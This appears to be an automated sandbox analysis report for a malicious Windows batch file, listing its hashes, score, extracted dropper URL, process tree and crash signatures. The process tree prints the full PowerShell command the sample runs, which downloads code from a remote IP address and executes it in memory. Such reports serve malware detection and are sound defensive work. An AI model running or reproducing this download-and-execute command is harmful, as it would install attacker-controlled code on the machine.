91ab18506b352621e098b6e9f0466b7d7b89cd8c70219f71e31d1c689889433b | Triage

Analysis

max time kernel
106s
max time network
133s
platform
windows10_x64
resource
win10v200430
submitted
15-05-2020 19:19

Sharing

Report Analysis Logs

General

Target

1f7cfad9c19adfc78abd3241e8f95952.bat
Size

221B
MD5

a53b25ea0b566a9f0420007a3d2244af
SHA1

eea1e4d5fa16beec4e8cc02e0310345271825017
SHA256

91ab18506b352621e098b6e9f0466b7d7b89cd8c70219f71e31d1c689889433b
SHA512

1afaad2d92aeee642b9a0802f772b18682942d48fd12eb3f1bf8a30afb3d34a6cf29f05b31c6ea4b12f1d9a1c30e3687ff5eb03b6abb58da8cf0d93d1c106b9e

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/1f7cfad9c19adfc78abd3241e8f95952

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3684 2680 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3684 WerFault.exe
Token: SeBackupPrivilege 3684 WerFault.exe
Token: SeDebugPrivilege 3684 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1f7cfad9c19adfc78abd3241e8f95952.bat"
1⤵
PID:2152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/1f7cfad9c19adfc78abd3241e8f95952');Invoke-QYITNGKHOZRLOK;Start-Sleep -s 10000"
2⤵
PID:2680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2680 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3684

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3684-0-0x00000000042B0000-0x00000000042B1000-memory.dmp

Filesize
4KB

Download
memory/3684-1-0x00000000048E0000-0x00000000048E1000-memory.dmp

Filesize
4KB

Download